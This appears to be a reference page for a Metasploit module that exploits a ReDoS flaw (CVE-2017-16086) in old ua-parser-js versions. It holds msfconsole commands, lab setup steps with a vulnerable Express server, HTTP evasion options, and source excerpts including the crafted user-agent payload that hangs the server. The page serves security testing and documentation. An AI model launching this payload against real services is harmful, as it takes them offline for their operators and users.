ua-parser-js npm module ReDoS - Metasploit
This page contains detailed information about how to use the auxiliary/dos/http/ua_parser_js_redos metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: ua-parser-js npm module ReDoS
Module: auxiliary/dos/http/ua_parser_js_redos
Source code: modules/auxiliary/dos/http/ua_parser_js_redos.rb
Disclosure date: -
Last modification time: 2018-07-12 17:34:52 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2017-16086
This module exploits a Regular Expression Denial of Service vulnerability in the npm module "ua-parser-js". Server-side applications that use "ua-parser-js" for parsing the browser user-agent string will be vulnerable if they call the "getOS" or "getResult" functions. This vulnerability was fixed as of version 0.7.16.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/dos/http/ua_parser_js_redos
msf auxiliary(ua_parser_js_redos) > show targets
... a list of targets ...
msf auxiliary(ua_parser_js_redos) > set TARGET target-id
msf auxiliary(ua_parser_js_redos) > show options
... show and set options ...
msf auxiliary(ua_parser_js_redos) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This auxiliary module exploits a Regular Expression Denial of Service vulnerability
in the npm module ua-parser-js
. Versions before 0.7.16 are vulnerable.
Any application that uses a vulnerable version of this module and calls the getOS
or getResult
functions will be vulnerable to this module. An example server is provided
below.
How to Install
To install a vulnerable version of ua-parser-js
, run:
npm i [email protected]
Verification Steps
- Create a new directory for test application.
- Copy below example server into test application directory as
server.js
. - Run
npm i express
to install express in the test application directory. - To test vulnerable versions of the module, run
npm i [email protected]
to install a vulnerable version of ua-parser-js. - To test non-vulnerable versions of the module, run
npm i ua-parser-js
to install the latest version of ua-parser-js. - Once all dependencies are installed, run the server with
node server.js
. - Open up a new terminal.
- Start msfconsole.
use auxiliary/dos/http/ua_parser_js_redos
.set RHOST [IP]
.run
.- In vulnerable installations, Module should have positive output and the test application should accept no further requests.
- In non-vulnerable installations, module should have negative output and the test application should accept further requests.
Scenarios
ua-parser-js npm module version 0.7.15
Expected output for successful exploitation:
[*] Testing Service to make sure it is working.
[*] Test request successful, attempting to send payload
[*] Sending ReDoS request to 192.168.3.24:3000.
[*] No response received from 192.168.3.24:3000, service is most likely unresponsive.
[*] Testing for service unresponsiveness.
[+] Service not responding.
[*] Auxiliary module execution completed
Example Vulnerable Application
// npm i express
// npm i [email protected] (vulnerable)
// npm i ua-parser-js (non-vulnerable)
const express = require('express')
const uaParser = require('ua-parser-js');
const app = express()
app.get('/', (req, res) => {
var parser = new uaParser(req.headers['user-agent']);
res.end(JSON.stringify(parser.getResult()));
});
app.listen(3000, '0.0.0.0', () => console.log('Example app listening on port 3000!'))
Go back to menu.
Msfconsole Usage
Here is how the dos/http/ua_parser_js_redos auxiliary module looks in the msfconsole:
msf6 > use auxiliary/dos/http/ua_parser_js_redos
msf6 auxiliary(dos/http/ua_parser_js_redos) > show info
Name: ua-parser-js npm module ReDoS
Module: auxiliary/dos/http/ua_parser_js_redos
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Ryan Knell, Sonatype Security Research
Nick Starke, Sonatype Security Research
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Description:
This module exploits a Regular Expression Denial of Service
vulnerability in the npm module "ua-parser-js". Server-side
applications that use "ua-parser-js" for parsing the browser
user-agent string will be vulnerable if they call the "getOS" or
"getResult" functions. This vulnerability was fixed as of version
0.7.16.
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-16086
https://github.com/faisalman/ua-parser-js/commit/25e143ee7caba78c6405a57d1d06b19c1e8e2f79
https://cwe.mitre.org/data/definitions/400.html
Module Options
This is a complete list of options available in the dos/http/ua_parser_js_redos auxiliary module:
msf6 auxiliary(dos/http/ua_parser_js_redos) > show options
Module options (auxiliary/dos/http/ua_parser_js_redos):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the dos/http/ua_parser_js_redos auxiliary module:
msf6 auxiliary(dos/http/ua_parser_js_redos) > show advanced
Module advanced options (auxiliary/dos/http/ua_parser_js_redos):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the dos/http/ua_parser_js_redos module can do:
msf6 auxiliary(dos/http/ua_parser_js_redos) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the dos/http/ua_parser_js_redos auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(dos/http/ua_parser_js_redos) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
- <PEER> - Could not communicate with service.
- No response received from <PEER>, service is most likely unresponsive.
- ReDoS request unsuccessful. Received status <RES.CODE> from <PEER>.
- Unable to connect to <PEER>.
- No HTTP response received from <PEER>, this indicates the payload was successful.
- Service responded with a valid HTTP Response; ReDoS attack failed.
- An unknown error occurred.
- Unable to connect to <PEER>.
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PEER> - Could not communicate with service.
Here is a relevant code snippet related to the "<PEER> - Could not communicate with service." error message:
36: ])
37: end
38:
39: def run
40: unless test_service
41: fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")
42: else
43: trigger_redos
44: test_service_unresponsive
45: end
46: end
No response received from <PEER>, service is most likely unresponsive.
Here is a relevant code snippet related to the "No response received from <PEER>, service is most likely unresponsive." error message:
56: 'user-agent' => 'iphone os ' + (Rex::Text.rand_text_alpha(1) * 64)
57: }
58: })
59:
60: if res.nil?
61: print_status("No response received from #{peer}, service is most likely unresponsive.")
62: else
63: fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.")
64: end
65:
66: rescue ::Rex::ConnectionRefused
ReDoS request unsuccessful. Received status <RES.CODE> from <PEER>.
Here is a relevant code snippet related to the "ReDoS request unsuccessful. Received status <RES.CODE> from <PEER>." error message:
58: })
59:
60: if res.nil?
61: print_status("No response received from #{peer}, service is most likely unresponsive.")
62: else
63: fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.")
64: end
65:
66: rescue ::Rex::ConnectionRefused
67: print_error("Unable to connect to #{peer}.")
68: rescue ::Timeout::Error
Unable to connect to <PEER>.
Here is a relevant code snippet related to the "Unable to connect to <PEER>." error message:
62: else
63: fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.")
64: end
65:
66: rescue ::Rex::ConnectionRefused
67: print_error("Unable to connect to #{peer}.")
68: rescue ::Timeout::Error
69: print_status("No HTTP response received from #{peer}, this indicates the payload was successful.")
70: end
71: end
72:
No HTTP response received from <PEER>, this indicates the payload was successful.
Here is a relevant code snippet related to the "No HTTP response received from <PEER>, this indicates the payload was successful." error message:
64: end
65:
66: rescue ::Rex::ConnectionRefused
67: print_error("Unable to connect to #{peer}.")
68: rescue ::Timeout::Error
69: print_status("No HTTP response received from #{peer}, this indicates the payload was successful.")
70: end
71: end
72:
73: def test_service_unresponsive
74: begin
Service responded with a valid HTTP Response; ReDoS attack failed.
Here is a relevant code snippet related to the "Service responded with a valid HTTP Response; ReDoS attack failed." error message:
80: })
81:
82: if res.nil?
83: print_good('Service not responding.')
84: else
85: print_error('Service responded with a valid HTTP Response; ReDoS attack failed.')
86: end
87: rescue ::Rex::ConnectionRefused
88: print_error('An unknown error occurred.')
89: rescue ::Timeout::Error
90: print_good('HTTP request timed out, most likely the ReDoS attack was successful.')
An unknown error occurred.
Here is a relevant code snippet related to the "An unknown error occurred." error message:
83: print_good('Service not responding.')
84: else
85: print_error('Service responded with a valid HTTP Response; ReDoS attack failed.')
86: end
87: rescue ::Rex::ConnectionRefused
88: print_error('An unknown error occurred.')
89: rescue ::Timeout::Error
90: print_good('HTTP request timed out, most likely the ReDoS attack was successful.')
91: end
92: end
93:
Unable to connect to <PEER>.
Here is a relevant code snippet related to the "Unable to connect to <PEER>." error message:
104: print_status('Test request successful, attempting to send payload')
105: return true
106: else
107: return false
108: end
109: rescue ::Rex::ConnectionRefused
110: print_error("Unable to connect to #{peer}.")
111: return false
112: end
113: end
114: end
Go back to menu.
Related Pull Requests
- #10299 Merged Pull Request: Add 88 CVEs to various auxiliary and exploit modules
- #9284 Merged Pull Request: Adding ua_parser_js ReDoS Module
References
- CVE-2017-16086
- https://github.com/faisalman/ua-parser-js/commit/25e143ee7caba78c6405a57d1d06b19c1e8e2f79
- CWE-400
See Also
Check also the following modules related to this module:
- auxiliary/dos/http/3com_superstack_switch
- auxiliary/dos/http/apache_commons_fileupload_dos
- auxiliary/dos/http/apache_mod_isapi
- auxiliary/dos/http/apache_range_dos
- auxiliary/dos/http/apache_tomcat_transfer_encoding
- auxiliary/dos/http/brother_debut_dos
- auxiliary/dos/http/cable_haunt_websocket_dos
- auxiliary/dos/http/canon_wireless_printer
- auxiliary/dos/http/dell_openmanage_post
- auxiliary/dos/http/f5_bigip_apm_max_sessions
- auxiliary/dos/http/flexense_http_server_dos
- auxiliary/dos/http/gzip_bomb_dos
- auxiliary/dos/http/hashcollision_dos
- auxiliary/dos/http/ibm_lotus_notes
- auxiliary/dos/http/ibm_lotus_notes2
- auxiliary/dos/http/marked_redos
- auxiliary/dos/http/metasploit_httphandler_dos
- auxiliary/dos/http/monkey_headers
- auxiliary/dos/http/ms15_034_ulonglongadd
- auxiliary/dos/http/nodejs_pipelining
- auxiliary/dos/http/novell_file_reporter_heap_bof
- auxiliary/dos/http/rails_action_view
- auxiliary/dos/http/rails_json_float_dos
- auxiliary/dos/http/slowloris
- auxiliary/dos/http/sonicwall_ssl_format
- auxiliary/dos/http/squid_range_dos
- auxiliary/dos/http/tautulli_shutdown_exec
- auxiliary/dos/http/webkitplus
- auxiliary/dos/http/webrick_regex
- auxiliary/dos/http/wordpress_directory_traversal_dos
- auxiliary/dos/http/wordpress_long_password_dos
- auxiliary/dos/http/wordpress_xmlrpc_dos
- auxiliary/dos/http/ws_dos
- auxiliary/parser/unattend
Authors
- Ryan Knell, Sonatype Security Research
- Nick Starke, Sonatype Security Research
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.